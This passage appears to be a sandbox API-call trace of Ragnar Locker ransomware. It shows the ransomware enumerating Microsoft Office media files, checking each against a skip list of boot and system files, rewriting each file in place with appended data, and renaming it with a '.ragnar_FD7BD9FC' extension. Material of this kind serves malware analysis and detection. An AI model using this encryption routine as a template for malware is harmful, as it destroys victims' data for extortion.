lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.762] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18237_.WMF" | out: lpString1="BD18237_.WMF") returned="BD18237_.WMF" [0096.762] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF") returned=".WMF" [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="autorun.inf") returned 1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="boot.ini") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="bootfont.bin") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="bootsect.bak") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="bootmgr") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="bootmgr.efi") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="desktop.ini") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="iconcache.db") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="ntldr") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="ntuser.dat") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="ntuser.ini") returned -1 [0096.762] lstrcmpiW (lpString1="BD18237_.WMF", lpString2="thumbs.db") returned -1 [0096.762] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.762] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.763] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.763] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.763] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.763] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.763] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf")) returned 0x20 [0096.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.764] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1532) returned 1 [0096.764] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.764] GetProcessHeap () returned 0x580000 [0096.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.764] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.765] VirtualAlloc (lpAddress=0x0, dwSize=0x5fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.766] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5fc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5fc, lpOverlapped=0x0) returned 1 [0096.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.766] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.766] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5fc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5fc, lpOverlapped=0x0) returned 1 [0096.766] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.766] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.766] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.766] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.766] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.766] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.766] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.766] GetProcessHeap () returned 0x580000 [0096.766] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.767] CloseHandle (hObject=0xf4) returned 1 [0096.767] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" [0096.767] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.ragnar_FD7BD9FC" [0096.767] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.767] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0096.767] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.767] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18238_.WMF" | out: lpString1="BD18238_.WMF") returned="BD18238_.WMF" [0096.767] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF") returned=".WMF" [0096.767] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.767] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="autorun.inf") returned 1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="boot.ini") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="bootfont.bin") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="bootsect.bak") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="bootmgr") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="bootmgr.efi") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="desktop.ini") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="iconcache.db") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="ntldr") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="ntuser.dat") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="ntuser.ini") returned -1 [0096.768] lstrcmpiW (lpString1="BD18238_.WMF", lpString2="thumbs.db") returned -1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.768] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf")) returned 0x20 [0096.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.769] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1588) returned 1 [0096.769] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.769] GetProcessHeap () returned 0x580000 [0096.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.769] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.770] VirtualAlloc (lpAddress=0x0, dwSize=0x634, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.770] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x634, lpOverlapped=0x0) returned 1 [0096.770] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.771] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x634, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.771] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x634, lpOverlapped=0x0) returned 1 [0096.771] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x634, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.771] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.771] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.771] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.778] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.778] GetProcessHeap () returned 0x580000 [0096.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.778] CloseHandle (hObject=0xf4) returned 1 [0096.778] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" [0096.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.ragnar_FD7BD9FC" [0096.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.779] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0096.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.779] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18239_.WMF" | out: lpString1="BD18239_.WMF") returned="BD18239_.WMF" [0096.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF") returned=".WMF" [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="autorun.inf") returned 1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="boot.ini") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="bootfont.bin") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="bootsect.bak") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="bootmgr") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="bootmgr.efi") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="desktop.ini") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="iconcache.db") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="ntldr") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="ntuser.dat") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="ntuser.ini") returned -1 [0096.779] lstrcmpiW (lpString1="BD18239_.WMF", lpString2="thumbs.db") returned -1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.779] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf")) returned 0x20 [0096.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=37828) returned 1 [0096.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x93bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.780] GetProcessHeap () returned 0x580000 [0096.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.780] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.781] VirtualAlloc (lpAddress=0x0, dwSize=0x93c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x93c4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x93c4, lpOverlapped=0x0) returned 1 [0096.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.783] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x93c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.783] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x93c4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x93c4, lpOverlapped=0x0) returned 1 [0096.784] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x93c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.784] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x93c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.784] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.784] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.784] GetProcessHeap () returned 0x580000 [0096.785] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.785] CloseHandle (hObject=0xf4) returned 1 [0096.785] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" [0096.785] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.ragnar_FD7BD9FC" [0096.785] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.785] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0096.785] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.785] lstrcpyW (in: lpString1=0x1eab64, 